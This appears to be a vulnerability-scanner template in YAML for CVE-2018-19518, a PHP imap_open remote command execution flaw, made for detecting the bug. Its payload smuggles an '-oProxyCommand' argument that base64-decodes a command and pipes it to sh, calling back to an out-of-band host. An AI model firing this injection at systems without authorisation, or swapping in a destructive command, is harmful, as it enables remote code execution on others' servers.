42 lines
1.7 KiB
YAML
42 lines
1.7 KiB
YAML
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id: CVE-2018-19518
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info:
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name: PHP imap - Remote Command Execution
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author: princechaddha
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severity: high
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description: |
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University of Washington IMAP Toolkit 2007f on UNIX, as used in imap_open() in PHP and other products, launches an rsh command (by means of the imap_rimap function in c-client/imap4r1.c and the tcp_aopen function in osdep/unix/tcp_unix.c) without preventing argument injection, which might allow remote attackers to execute arbitrary OS commands if the IMAP server name is untrusted input (e.g., entered by a user of a web application) and if rsh has been replaced by a program with different argument semantics. For example, if rsh is a link to ssh (as seen on Debian and Ubuntu systems), then the attack can use an IMAP server name containing a "-oProxyCommand" argument.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
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- https://nvd.nist.gov/vuln/detail/CVE-2018-19518
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- https://www.openwall.com/lists/oss-security/2018/11/22/3
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- https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.5
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cve-id: CVE-2018-19518
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cwe-id: CWE-88
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metadata:
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confidence: tenative
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tags: imap,dast,vulhub,cve,cve2018,rce,oast,php,fuzz
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http:
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- method: GET
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path:
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- "{{BaseURL}}"
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payloads:
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php-imap:
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- "x -oProxyCommand=echo {{base64(url_encode('nslookup {{interactsh-url}}'))}}|base64 -d|sh}"
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fuzzing:
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- part: query
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fuzz:
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- "{{php-imap}}"
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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